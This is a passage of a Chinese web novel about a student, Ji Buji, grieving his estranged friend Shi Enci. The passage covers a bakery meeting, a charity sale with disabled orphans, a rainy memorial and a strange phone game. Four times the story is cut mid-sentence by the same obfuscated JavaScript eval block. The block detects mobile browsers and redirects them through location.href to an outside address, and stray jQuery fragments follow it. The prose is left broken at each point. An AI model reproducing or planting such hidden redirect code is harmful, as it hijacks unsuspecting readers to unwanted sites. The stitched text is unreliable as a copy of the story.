不大的四人宿舍被夜色吞噬,走廊处的长明灯亮着,光线自门缝泄入。暑期的校园宁静幽深,临近破晓时分,耳畔忽响起一道完美无暇的声线。
“季不寄,说好的陪我看日出呢?”
那音质纯净如同晨露,似是隔着层层叠叠的云雾,听起来逼近又辽远。季不寄觉得自己仍在梦里,唯独这时,他才能和那个惹人生厌的家伙重逢。
他拾不起昏沉的意识,来不及去找回维持了四年的痛恨,朦朦胧胧间捕捉到那人俯身贴近自己,发丝被撩至耳后,距离一寸寸拉近,状似亲昵地耳语着。
“我是不会轻易放过你的。”
珠落玉盘,敲冰戛玉,对方的声音清晰可闻,一贯清亮明朗的嗓音不复存在,取而代之的是刻意压抑过的危险低柔,在清清冷冷的昼夜接替之际显得无比甘冽。
季不寄顿时睡意全无,双目倏地睁开,直直地瞪着雪白的天花板。他平躺在床上,转动着视线,周遭一干二净,空无一人。
恰逢其时,他习惯性地抬手去掖耳侧的头发,手臂滞于半空,他仿佛被无形的力量钉住了。
谁替他撩去了一侧的鬓发?
睁着布满红血丝的眼球,季不寄摸起手机,插上耳机进入了养成游戏,企图依靠创造新的记忆来掩盖内心的疮痍。
“天国公主养成计划”的配乐常给他一种身临其境的错觉。截止目前为止,这游戏出现了五种以上bgm,每一种都非常抓人耳朵,季不寄猜想这游戏的制作公司大抵是财力雄厚的。
在潺潺流水般的悠扬旋律中,金发小人抱着一大包面粉走入厨房,身上穿着围裙,似乎是要制作食物。
【有些苦恼要吃什么。】
季不寄停顿在弹出的互动框里,他注意到屏幕顶上的灰色柱状横条被点亮了,自一端起,绿色的占比爬过了百分之五。原来这是一个进度条。
是指代什么的?
他光睡了一觉,第二天就涨到百分之五了?
他心底疑惑着,将目光投向中间的互动框,指尖触碰。
【开始制作“米面包”】
金发小人从冰箱里搬来了牛奶、黄油和鸡蛋,于灶台前忙碌了起来。季不寄找不到可以触发互动的按键,只能干盯着他下厨的背影,不一会儿就走了神。
时恩赐在第21个问题里曾问他,面包还是米饭?
他当时已经习惯了这些无厘头的问题,认真思索了一下,迟疑地回复道,一定要选一个吗?
倘若是以前的季不寄,必是要毫不犹豫地选择米饭的。他喜欢大米颗粒分明的口感,然而患了胃病后反倒偏爱拉面多一些了。
他问出这个问句后,不确定是否打破了对方的规矩,遂补充了句,大概是面包吧。
游戏里的时间快于现实许多,几分钟的功夫,热气腾腾的面包新鲜出炉。金发小人关上烤箱,抓起蓬松喷香的米面包咬了一口,雪白的指尖压在外皮上,面包金黄诱人。
季不寄胃部一阵痉挛,看得有些饿了。待游戏日常结束后,他换好衣服出了门,难得想要去一趟大学城附近的面包店。
洗漱声吵得睡觉的舍友骂了声街,季不寄把他不满的骂声关到门后,步行前往目的地。
这家面包店是今年二月份新开的,店内设有堂食的桌椅,周末一向座无虚席。好在今天是周三,美食街没什么人,隔着玻璃窗季不寄看见店主正端着烤好的面包自后厨出来。
门口悬挂的风铃声叮当响起,有客人进门,店主微笑着招待道:“早上好,看看来点什么?”
季不寄点了下头,在展示柜里找到目标,夹了只米面包结账。
这家店的东西做得口感轻盈,哪怕是不好甜食的季不寄偶尔也会来这儿买些早餐。
“请问您是堂食还是打包?”
季不寄想到宿舍里饱含起床气的舍友:“堂食吧。”
于是他端着托盘走到堂食区,刚在墙角坐下,便被人叫住:“小季?”
他回头,瞥见一中性打扮的女子朝他扬唇一笑,迈着猫步坐到了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780816|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对面。
“你那优质股男朋友呢?”
她可真是哪壶不开提哪壶,季不寄不想搭理她,低头咬了口面包。
这女子名叫蒋木,是时恩赐曾经的钢琴课老师,大概也算他俩的共同朋友。时恩赐素来左右逢源,在哪一年龄段都吃得开,家道中落后仍旧和她保持着密切的联系。
季不寄上次与她见面同样是在面包店,蒋木眼尖,老远发现他,跟他打完招呼闲扯了几句。
临走前还善意提醒道:“你知道时恩赐在附近上学吗?可千万别让他看见你。”
道理他也懂,只是无故被人点出来,季不寄有种说不上来的异样感。
第二次相遇,他凝视着米面包芯里凹陷的孔洞,骤然道:“你怎么知道我有过男朋友?”
蒋木嘬着吸管:“时恩赐说的喽。”
季不寄一怔,他谈恋爱这件事没告诉过任何人,林入寒思虑诸多自然更不会告知他人,时恩赐又是怎么知道的?
“好奇吗?”蒋木敏锐地察觉到他的变化,笑眯眯地问他。
季不寄老老实实地“嗯”了一声,等待她的下文,却只等来了一句夹带笑意的:“我也很好奇。”
他白了蒋木一眼,怪不得她能和时恩赐玩到一块儿去,三十几的人了还天天做些幼稚的行为。
“不逗你了,说正事。本来还想微信联系你的,既然遇见了我就当面说吧。”蒋木铺垫结束,搅着奶盖问:“这周末时恩赐葬礼,你来吗?”
季不寄摇头:“我不去。”
“你不去?真的?”蒋木咬着吸管,语气讶异。她试图从季不寄脸上看出些什么,然而他的神情无波无澜。
她啧啧了两声,遗憾道:“你俩以前关系多好呀,还吵着要一起在泳池里住一辈子。”
季不寄只怕现在的时恩赐变成水鬼拖他下去。
“那也是以前了。”他平淡回应。
蒋木挑起一侧眉毛,提议道:“今下午一块儿去给他挑张遗照?”
季不寄愣了下:“你给他挑?”
“他家里没人管,我想着到底是要办一场追悼会的,就自作主张啦。”蒋木捧起冰饮,浅笑吟吟。
时恩赐的母亲多年前驾鹤西去,父亲又因投资失利备受打击住进了精神病院。他家为家族产业,那群便宜亲戚合伙人卷款而逃,更不可能替他举办丧事了。
人死本是一件伤心的事,但无论是生前还是死后,时恩赐拥有能把一切严肃事情玩笑化的能力。他上陶艺课时曾嘻嘻哈哈地给自己搓了个七彩陶罐,声称要充作死后的骨灰罐,还怕自己将来长得过于高大魁梧装不下,把罐子搓得又圆又大。
他觉得不吉利,这家伙却一本正经地将这称之为“预制葬礼”。
季不寄想,他可能一辈子都无法理解时恩赐的幽默细胞。
“你自己去吧。”他回绝道,而后又补充了句:“骨灰罐给他挑个漂亮的。”
不曾想蒋木却道:“这倒是没机会了,时恩赐生前签了遗体捐赠协议,尸体早就送去做防腐处理了。”
季不寄缄默片刻,偏过头去。
蒋木以为他在看墙上贴的便利贴,扭头去瞧那些花花绿绿的纸上写了什么。她瞥见一张粉色的便签上龙飞凤舞的写着:抹茶面包不够苦。
字迹和记忆中的某个小孩很像,不过那小孩嗜甜如命,若轮到他来写,理应是:不甜怎么能叫做甜品!
8. 这不还是俩孩子嘛……
与清冷的表象大相径庭,季不寄实则是个口腹之欲较强的人。兴许是从小吃不饱饭的缘故,他一直对待食物极其认真,再难吃的东西也会强撑着塞进去。
譬如说眼前这个冷掉的米面包,他一股脑将剩下的小半个塞进嘴巴里,咀嚼的口感如同老太太的皮肤。
他怀疑这家店的店主和蒋木有仇。她家品控一向不错,唯独季不寄遇见蒋木这两次吃得恶心。
季不寄把面包吃完,嘴角仍沾着面包碎屑,起身就要离开。蒋木指指他的嘴角,他不甚在意地抹了把,转身走开,衣角于空中划开一道流畅的弧度。
蒋木嘀咕道:“这不还是俩孩子嘛……”
——
季不寄回到宿舍,随后收到了蒋木发来的消息。
时恩赐葬礼的地点设在了一个公园,蒋木事先联系了那所公园的管理人员,预留了一块位置。
季不寄没有回复她发来的定位信息,横竖自己是不会去的,何况那天还有福利院的义卖活动。
他的两个舍友已经离校,最后一个舍友正在收拾行李,听他昨晚同家里人那通电话的意思,是要与女友来一场说走就走的毕业旅行。
季不寄喜提延毕,还要多修一个学期的所挂课程,比他们晚几个月才能离校。暑假将至,尽管家就在同城,他也没有回家的打算,想着在学校附近找份兼职,补贴生活开销。
无所事事地刷了几天兼职网站,时不时上线同他养的天国公主互动一番,转眼间便来到了周末。
这次他们集合的时间是个闷热的午后,孩子们吃饱了饭,见他们来了,倒也熟悉了些,不那么怕生了。几个孩子朝两个女生飞扑过来,孩子的笑脸活泼且热情。
“下午哪些孩子跟着一起去义卖?”揉着孩子小脑袋瓜之际,女生转头问保育员。
那位保育员同时也是教育班的老师,她在孩子们期待的眼神下掏出本子,看着写下的记录道:“上次没交作业的不许去。”
顿时有一些孩子露出失望与不满,开口想再争取一下机会,被老师瞥了一眼后闭住了嘴巴。
保育员综合考量每个孩子的情况,选了四个跟着去的孩子,他们之中有轻度脑瘫的、眼盲的、智力障碍的,还有一个明显的唐氏儿。最小的孩子有六七岁,大的约莫十岁出头。
临走前,保育员把大学生们叫住,低声叮嘱道:“虽然这很难做到,但你们请尽量平等地对待他们,像朋友一样同他们相处,不要有施舍怜悯的心态。”
外向的那个女生拍拍胸脯:“您就放心吧!”
他们的义卖地点设在了福利院不远处的一条街边。那对面有家大型市场,住附近的居民日常消费大多在此,算是旧城区人流量最大的地点。
因为距离较近,保育员便让这四个大学生带孩子们过去,自己留在院内照顾剩余的孩童。
这几个孩子皆为特殊群体,轻度脑瘫的那个男孩运动神经受损,走起路来肢体不调,步伐迈得很慢。保育员特意嘱咐他们要让这孩子自己走过去,千万不能抱他。他们遂配合那孩子的步调,龟速行于烈日下。
不停敲打盲杖的孩子一不留神敲了他一下,那男孩虽是行动不便,但智力正常,当即叫道:“全丰丰你打到我了,道歉!”
盲童全丰丰动作顿了下:“不好意思。”
“你是不是嫌我走得慢,故意的!”
他否定道:“我不是。”
“那你就是嫉妒李阿姨偏爱我,故意的!”
全丰丰似乎是被男孩吵到耳朵了,摇晃了下脑袋,再度否认道:“我不是故意敲你的,我看不见。”
“你看不见还听不见吗?”男孩并不会考虑到他的先天缺陷而改变态度,因为他自己也有。
大学生们担心这俩孩子吵起来,忙打圆场劝男孩熄火。他起初不肯顺杆而下,听女生说要请他们吃西瓜,于是提出更多要求,非要让女生带他吃汉堡包。
反正这些大学生兜里有钱,想走就走想来就来,最后一次必须讨点甜头。
就在这时,埋头推着小推车的那人忽看向他。男孩心脏不由一颤,那个人罕言寡语,面相又生得冷漠,是所有大人里他最不敢搭话的。
他撩起眼皮时斜过来一道漠然的眼神,让男孩回想起了福利院冬天水管里冷冰冰的凉水。
他忙错开视线,听见那人道:“老师有没有教过你,地上石砖刷黄漆的作用?”
男孩被他引导着低下头去,才意识到自己踩了盲道,支支吾吾道:“教、教过。”
他赶紧移出盲道,走得急了,本就不协调的下肢猛地一撇,登时失了重心。他以为自己会摔到地上,却在半空中被一个人接住,自怀里扶着站了回来。
那人的怀抱称不上温暖,在骄阳似火的夏季甚至有避暑的功效。
也完全算不上柔软,记忆中保育员在他小时候还会抱他,他整个人像是泡在一朵软乎乎的云里,而不是现在这般转瞬即逝地被硌了一下。
可不知为什么,短暂的肢体接触却让他从对方的话里,能够读出一丝温柔。
“小心点。”那个鸭舌帽男生道。
男孩“哦”了一声,在后半段路上格外安静。
可惜,这宝贵的安静仅持续到大家开始摆摊卖东西为止。
季不寄和另一个同行者摆好摊位,女生取出包里的钩织品,男孩也掏出来他这周受高人指点的大作。
正是他那仅存在于概念里的便宜父母。
旧城区的居民经济条件普遍不佳,许多人见到他们四个年轻人带四个残障儿童都避而远之,他们在火辣辣的太阳底下晒了半天,只卖出了一幅画。
这还多亏了男孩对自己被父母抛弃这段子虚乌有回忆的添油加醋描述,上帝仿佛为他关门的同时打开了窗,他的语言系统极其完善,将悲惨故事讲述得绘声绘色,成功打动了过往的一位路人。
全丰丰什么也看不见,遂问他:“你画了什么?”
“我爸妈啊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780817|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”男孩道。
“你不是刚一出生就被送到城西福利院了?”全丰丰有些奇怪:“你都没见过你爸妈。”
“对对对就你见过,那你倒是告诉我他们长什么样?”他俩似乎在福利院关系就不太好,男孩再次被他惹怒,脖子涨得通红。
全丰丰是被家庭弃养的孩子,依稀留有六岁前同亲生父母生活的童年印象,他偶尔会在院里提起自己的父母,但并没有意识到会被人钦羡嫉妒。
“你是不是脑子也出问题了,我是盲人呀,怎么可能看到父母长什么样。”
然后他们两个就打起来了,准确来说,是男孩单方面动手了。在他的第一拳挥向全丰丰时,季不寄便察觉到他的动作,横空截住男孩细瘦的胳膊。
“你为什么要打你的朋友?”季不寄平静问道。
男孩抬高嗓门:“他才不是我的朋友!”
“我以为我们是好朋友呢。”全丰丰悄声道:“白答应叫你龙哥了。”
压根没料到他这句话,男孩僵住了。
季不寄搁下他的手臂,蹲下身,轻声道:“龙温泽,你知道你名字的含义吗?”
“你怎么会记得我的名字?”男孩神色愕然。
“你的画背面不是写了么?”季不寄道:“我猜,起名的人一定希望你温柔待人,润泽万物。”
龙温泽愣怔在原地:“刘阿姨是这么想的吗?”
季不寄不了解他口中的刘阿姨是谁,只是点了点头:“我是这么想的。”
就像这般,他曾经无数次思考过时恩赐名字的含义。
女生小跑着抱回来一大兜喝的,大家干站了几个小时皆有些口渴,纷纷凑了过去。
“今天太闷了,指定是憋着雨呢——你怎么不拿?”女生朝季不寄敞开袋口,他挑了瓶矿泉水,拧开瓶盖才一对嘴,眸光掠见马路对面有一个女人朝他们走来了。
她穿着件深色西装,步履稳健,季不寄搁下水瓶时她正好走到摊位前,视线在摆卖的钩织品上跳了一圈,蓦地道:“这些都是福利院的孩子们做的吗?”
好不容易肯过来个客人,女生连忙接话:“大部分是孩子们做的,不过也有一些是我们学生做的。”
女人问:“一共多少钱?我全要了。”
“全部?”女生目瞪口呆,未预料到这女人竟是个大客户。
“我妹妹喜欢。”她浅浅笑着,聊到家妹神情变得柔和:“她看不到东西,但很喜欢摸这些小玩意儿。”
几人给她把摊位的手工制品全包起来,全丰丰搭不上手,坐在小马扎上问她:“你妹妹也是盲人吗?”
女人面向他,轻声道:“是的,她也像你一样是个盲人。不过她前几天接受了视网膜移植手术,如今正在病院康复。希望你能跟她一样好运,等来捐赠者的帮助。”
全丰丰礼貌回了句谢谢。
季不寄将收款码展示给她,待她拎起东西转身离去前,问道:“我能问一下捐赠者的名字吗?”
9. 学人精
女人摇了摇头:“不好意思,这涉及到捐赠者的个人隐私,我也……”
季不寄已经知晓,颔首,目送她离去。
他们圆满收工,收起摊位往回走。下午四点钟,厚云掩住半边日轮,空气愈发沉闷,几乎要凝固了,树叶一动不动。
另一个男生热得满头大汗:“这破天气,快下场雨给老天爷降降火吧。”
他这话把几个孩子逗笑了,除却糟糕的天气,大家的心情其实还算不错。
回到福利院,保育员问他们这几个孩子表现怎么样。女生笑了下,说还可以。
虽然有个小孩想“敲诈”她。
她没忘记先前答应的话,出门去买西瓜,叫几个同伴一起帮忙搬。西瓜带到院里的时候,孩子们都十分惊喜,保育员拿来刀切成数份,学生们也跟着小孩吃了起来。
“学长,你不来一块?”她问那位静坐在角落里的男生。
季不寄摁息屏幕,仰面道:“我肠胃不好,就不吃了。”
明明是酷暑难耐的时节,他却未流一滴汗,面色冷白。乌发蓬松地垂落着,半晌,在他起身时晃了下:“不好意思,我今晚上有事,先走了。”
“没事你走吧,这边也没其他事情了。”
他朝众人挥了挥手,迈着步子离开了。
女生望着他的背影消失在门外后,小声问她的朋友:“你觉得传言是真的吗?”
短暂相处下来,她对系里这位臭名昭著的季学长看法有所改观,不禁开始怀疑论坛那些帖子的真实性。
“起初我还觉得是真的,现在不大敢信了。”文静女生捏着凉嗖嗖的西瓜皮道:“他不像是会跟别人搞在床上的人,准确来说,根本不像是个有生理欲望的。”
她连连点头:“对对我也觉得,他有一种特别的……寡妇气质。”
季不寄并不知道自己在学妹心中已然成为了寡妇,他正坐在一趟去往湖西区的公交车上,轮子压过坎坷不平的土路,震得身子摇摇晃晃。
从这里出发去湖西公园大约一个半小时,路程行驶到一半,天色大变,滂滂沱沱地落起了雨。
这雨直至他换乘了两站,抵达公园时仍旧下着。季不寄没带伞,他头上有一顶帽子,恰好能遮住一小片区域的雨水。
鞋踩公园泥泞湿软的土地,季不寄循着指示走,傍晚时分一场简易的追悼会刚刚结束,他察觉到手机在振动,走近追悼会现场的时候又停歇了。
场内陆陆续续有穿黑衣的人走出,有一小部分季不寄认识,但绝大多数人他都没有印象,也许是时恩赐后来几年交到的朋友。
季不寄觉得这个时间再进去里边不太合适,遂目光转了一圈,在周匝找了座亭子躲雨。
他不习惯人多的地方,总感觉从头到脚爬满了不自在。自追悼会出来的人接连不断,路过亭子总会打量里边的人一眼,季不寄开始腹诽时恩赐怎么会有这么多朋友,简易的追悼会也变得不再“简易”。
几年前,那个鲜活的时恩赐周围同样簇拥着许多人。跟他不熟悉的人会认为他乖张肆意,有少爷脾气,而接触过后,人们往往会折服于他那颗八面玲珑心。
他和时恩赐在学校的受欢迎程度简直如云泥之差。升入高中之后,他曾有过长达一个月不开口说话的记录,新来的班主任以为他是需要照顾的特殊群体,特意将他移至前排,同他们班的大明星时恩赐坐一桌。
课间,季不寄一趟又一趟地搬运沉重的书籍资料,心下决意要重拾言语技能,以免再被人认成哑巴。
他把同桌时恩赐当作模仿对象,休息时间竖起耳朵偷听他同他人的每一句交谈,并轻声重复他吐出的每一句话,试图用备战中考时的架势学习时恩赐。
时恩赐在跟体委聊天,体委邀请道:“一会儿放学一块去打球?”
时恩赐拒绝:“不要,我要回去打游戏。”
季不寄用书本挡着嘴巴,悄声复读道:“打游戏。”
“天天打游戏,你爸妈不管你?”体委问。
“上边盖本书,他们发现不了。”时恩赐丝毫没有重高学生的自觉:“今晚得上线肝新活动。”
季不寄重复道:“新活动。”
时恩赐顿了下,忽道:“学人精?”
旁边那人依旧是毫无波澜地念:“学人精。”
时恩赐抽走学人精同桌的书本,俯身去瞧他:“我还以为你是个哑巴。”
季不寄上身后倾了些,拉开距离,喃喃道:“我也以为时家的大少爷会有家教。”
“你……”时恩赐一时失语。
面前那人倏然抬头,眸光如黑曜石似的泛着光:“我对你说长句了。”
时恩赐后来才知晓,他几乎失去了对生人说话的能力。年少的时恩赐没问过他经历过什么,仅仅是从那以后开始刻意引导他多说话,重新捡回离家出走的表达能力。
时恩赐尝试过很多次把他带到自己的亲友团里,然而他不喜欢热闹的环境,时恩赐就时常拒绝其他朋友的邀约,腾出时间给他。
不过他俩单独在一起时反倒不会有过多交谈,时恩赐常常埋着脑袋玩手机,不是打游戏便是在暗戳戳地敲字。季不寄猜他应该是在同其他朋友聊天,因为他那时不会让自己看他的手机屏幕,兴许是怕他不虞。
但他并非霸道刁蛮的性格,自然不可能去妒忌时恩赐跟那群朋友的亲密关系,也不念想自己在他心中得到过多少偏爱。
呆滞且顽固的雨搅乱了公园的池水,乒乓敲打着头上的亭顶,听着这闹人的动静,季不寄宛如被灌满了一脑袋雨水,反应钝钝的,被女子拍了下肩膀才收拢心神。
“你不进去?”蒋木问他。
她不了解两人之间的纠葛,自是不理解为何昔日形影不离的俩小孩闹起了别扭。
季不寄略无血色的唇瓣抿成一条直线:“都结束了,我进去做什么?”
旁人皆献花献礼,带些死者生前喜欢的小玩意,亦或是具有特殊意义的照片信
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780818|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
件。他倒好,两手空空地搁葬礼门口罚站,浑身湿漉漉的,淋得像个水鬼。
“你连把伞都不带。老远看,我还以为是逝者复生了呢。”蒋木轻叹一口气:“时恩赐知道了该怎么念叨你。”
季不寄面无表情地扣上帽子,一如既往的淡然静默。
蒋木递给他一样东西,他下意识接过,打开密封袋发现是一部碎屏的手机。
那是时恩赐的手机,季不寄前几天刚在新闻配图上见过,曾静静地浸泡在他的血泊中。
“他设密码了,我拿着手机问了一圈人都不知道,他的生日和姓名拼音首字母也试过了。”蒋木不抱希望,却还是道:“你可以试试能不能解开。”
对于现代人而言,死者手机上的信息同样也是留给亲友的一重念想。季不寄摩挲着破碎的屏幕,盯着开机后的六位密码出神。
时恩赐手机里会藏着秘密吗?还是和当下许多年轻人一样,藏着不愿被得知的浏览记录?
密码会是什么呢?
电光火石间,季不寄的脑海中乍然闪过一个答案。
他抬起手指。
“这次失败就要锁机八小时了。”
蒋木骤然道。
季不寄的手指停滞在半空中,屏幕上落下一点水滴,敲下第一位数。俄而,他将那一位数删除,手机还给了蒋木:“我和他都四年没见过了,不瞎猜了。”
蒋木耸耸肩,倒也不再劝,临走前最后觑了眼他云淡风轻的脸:“你的胆子还不如时恩赐。”
她撑起黑伞,走入雨幕中,同那些自葬礼涌出的黑伞汇聚在一起。
季不寄从傍晚站到天黑,公园巡查的老大爷瞅见他,吓了一大跳。白天刚举办过一场葬礼,这大半夜的湖心杵一个黑衣人,是哪来的牛鬼蛇神?
他颤颤巍巍地举起手电,白光照去。亭子里那人是一副坐着的姿态,背微微驮着,低头玩手机时,五彩斑斓的光映出个大花脸,电子音乐饶有节奏地响个不停。
“大晚上的,你在这儿做什么?”
隔着一段石板路,他对那牛鬼蛇神问道。
对方的视线自屏幕移开,抬起头来,是一张极年轻的面孔,阴影勾勒出尖尖的下巴:“我在打游戏。”
他诚实的回答像是一句废话,老大爷又不是真想调查他在这儿干什么,他说这话是赶人的意思。
“到闭园时间啦,快回去吧。”大爷催促道。
那人轻轻道:“我回不去了。”
黑暗中,他看不清年轻人的双眼,他的话语凉凉的,似是在死寂的湖底浸了一夜。阴冷的风吹动他的发丝,远处树影摇曳,隐隐绰绰。
老大爷面色煞时一白,他依稀记得,今天葬礼追悼的人同样是一位二十岁出头的年轻男性。有几个健谈的小伙子白天同他闲聊时还提到了,他们这朋友生前最爱打游戏。
“你……”他斟酌着词藻,生怕惊扰了亡灵,老寒腿受凉风一吹有些打哆嗦:“那你在这儿好好——”
10. 太阳有性别吗?
亡灵打断了他的话:“我忘带门卡了,宿舍有门禁。”
老大爷一愣,这人原来不是夜半魂归的死者,而是无处可去的学生。
他放下心来,长舒一口气,想到自己刚刚荒诞的异想天开,老脸在昏暗下略微露出尴尬之色。
“那你也不能在这儿待着,夜里多凉,你搁这儿坐一夜会感冒的喽。”他善意提醒道,意在赶人:“你去附近找个宾馆住一宿总比在这儿好。”
季不寄摇头:“我兜里没钱。”
老大爷劝道:“诶呀,你们年轻人现在不都是用手机支付的呀,实在没钱你去朋友家借住一夜不行吗?”
“我在这附近也没有朋友。”季不寄难得固执,今夜似乎是执意要给大爷的保安生涯添麻烦:“我不走,就在这里待一宿,不会出事的。”
“这可怎么行,你出事我们是要负责的呀。”
老大爷十分为难,他工作十多年了头一次遇上这种赖皮年轻人。他仔细琢磨了下,忽揣测到,这莫非是和今日葬礼的逝者有关系,今晚想替他守灵的?
他家儿子只比这孩子大几岁,如今独自去陌生城市打拼既没成家也没立业的。这小孩同样孤苦伶仃一个人,又是刚经历完生死离别,这么一想遂是一阵心酸。
“你今晚不能在这儿过夜。”他佝偻着身子,手电一晃,转身道:“去睡我保安室吧,至少有张床。”
季不寄一怔。
“还愣着干什么,跟上啊。”老大爷喊他。
他蜷缩了下冰凉的指尖,最后朝追悼会那边望了一眼,扭头跟上老大爷,淋了一路夜雨。
到了保安室,老人替他亮了灯,这里空间不大,摆着一张床铺一套桌椅。
老人抖抖雨衣上的雨水,进屋道:“你这么大个人了也不会照顾自己,连把伞都不打,家里人知道了会担心的。”
“没关系,他们不会担心。”焯过水的季不寄平静道,他接过老人递给自己的干毛巾,简单擦了擦身上的水,以免弄脏地板。
擦完,他还过毛巾:“我睡这里,您怎么办?”
“我儿子今晚回家,我回去陪他一宿。”老大爷道。
季不寄动动嘴唇,半晌道:“不好意思,添麻烦了。”
老大爷端着不锈钢水杯喝了口水,撂下道:“知道就好,以后别这样了,大晚上的,你就算是个小伙子,细皮嫩肉的也危险。”
季不寄上大学后还是第一次被人这样评价外貌。他打扮随性,气质阴翳冷淡,因他的样貌而敬而远之的人有很多,由于专业的特殊性也受过不少误解。
上一个把他当乖巧小白兔的人,还是高中时期的时恩赐。他那时没季不寄个高,又总想装大哥搂他,戏言季不寄像只啃草的兔子,每天在食堂吃醋熘白菜。
“好了,你在这待着守夜吧。”老大爷留下这句话便走了。
季不寄坐在斑驳的方桌前,心不在焉地抠木桌上断裂的桌板,他想过了被林入寒下药那晚的相遇,毫无头绪的一百问,蒋木的话以及此刻沉睡在某地的人。
叮咚——
凝望着无尽的夜雨,桌上的手机振动了一声。季不寄拿起手机去看,果不其然,又是那款流氓游戏。
【你进入游戏后已经长达49分钟冷落公主了!】
【是进入天国了吗?】
当今世界上最关心季不寄的非这款游戏莫属。
他起初怀疑这是个杀猪盘,一直在等待一个氪金界面的出现,但始终没有。
显然这是一款尚未正式发售的游戏,季不寄成为了那个被游戏公司选中,非法强制参与测试的倒霉蛋。
他关掉两个弹窗,去找金发小人此刻在做些什么。他在木屋找了一圈,客厅、厨房、卧室……哪里都没有小人的踪影。
明明刚才小不点还在厨房做晚饭,现在是用完餐出去散步了吗?
他奇怪着,切换界面来到了森林里。夜晚的森林格外静谧,月光如一层薄纱轻盈笼罩于草木之间,上半截屏幕是深蓝的天空,星光点点、皓月当空。
在一颗大树下,季不寄找到了小人的身影。游戏实时弹出三个选项,他一一看去,分别是【伐木】【采集】【学猩猩叫】。
季不寄指尖径直移到最后一个选项上,还未触碰,那个选项框竟左右横跳了几下,逃跑得无影无踪。
这下剩下的就只有【伐木】和【采集】了。他本还想听听金发小人的音频,没想到压根没给他这个机会。
在屏幕上的两个选项之间纠结了一下,季不寄感觉后者更轻松一些,于是按下了采集键。他以为小人会去采集一些野果,却看到他抬起小小的脑袋仰望树冠,好一番功夫,似是下定了什么决心,四肢并用攀上了树干。
可是树上并没有结果实,季不寄寻思着,莫非是美工偷懒了?
金发小人爬到接近顶端的位置,视角随之转移,一只野生的蜂巢映入眼帘,金灿灿的蜂蜜源源不断地自缝隙渗出,周匝盘旋着几只蜜蜂。
季不寄意识到这一设计的情节,眼神去寻行动取消键,顶栏只有一条长期悬浮的进度条,左上角是退出键。这个游戏的选择不能中途更改。
小人谨慎地碰了一下蜂巢,几滴蜜液落了下来。蜜蜂注意到不速之客的到来,一齐飞了过去。他忙跃下树干,低头拾起一块石子砸了过去,正中红心,蜂巢被砸落在地,嗡嗡作响的蜜蜂纷纷涌出,在空中搜寻罪魁祸首。
他早已躲入了不远处的灌木丛,待蜂巢散去,方小心翼翼地移向地上的蜂巢。
【获取蜂蜜*2】
金发小人的体能随即耗尽,原地进入待机模式。季不寄知道今日的游戏时间已经结束,下线关了手机。
他玩得颈椎有些酸痛,趴在桌子上,雨珠沿屋檐扑簌簌地落着,碎到地上,嘀嗒声清脆悦耳。夜里的寒气经窗缝悄悄钻入,季不寄自早餐后粒米未进,多年的胃病隐隐有了复发的征兆。
他不想随意去睡陌生人的床铺,在窗边桌子上凑合了一宿,脸埋进双臂,一小块狭隘的黑暗令他自在。
似睡非睡间,他梦见自己回到了一个阳光明媚的旧时午后。大抵是周五放假后的某个下午,他和留着妹妹头的少年并排而坐,窗外光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780819|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影婆娑,洒下一桌金黄斑驳。
时恩赐有一搭没一搭地翻着一本文学书籍,太阳将书页烤得暖烘烘的,他读到某处,忽偏头问季不寄:“你说它有性别吗?”
季不寄正在写周末的数学作业,闻声,演算的笔尖顿了下:“你说什么?”
“我是问,你觉得太阳会有性别吗?”
季不寄没有吐槽时恩赐离奇古怪的问题,小的时候,他在儿童绘本上读到过“太阳公公”这样的字眼。认真想了想,他边写上最后一道大题的答案,边回答道:“如果你对性别存在刻板印象的话,可以有。”
时恩赐若有所思地“哦——”了声,活像没骨头似的斜靠到季不寄的身上。
“半个小时你就写完了一套卷子?!借我抄抄。”
他作势要扯过卷子,季不寄一躲,两人闹着闹着,时恩赐倏忽间低下了头,季不寄发现他耳根透出些粉红。
季不寄压低声音问他:“知道窃人成果不对,羞愧了?”
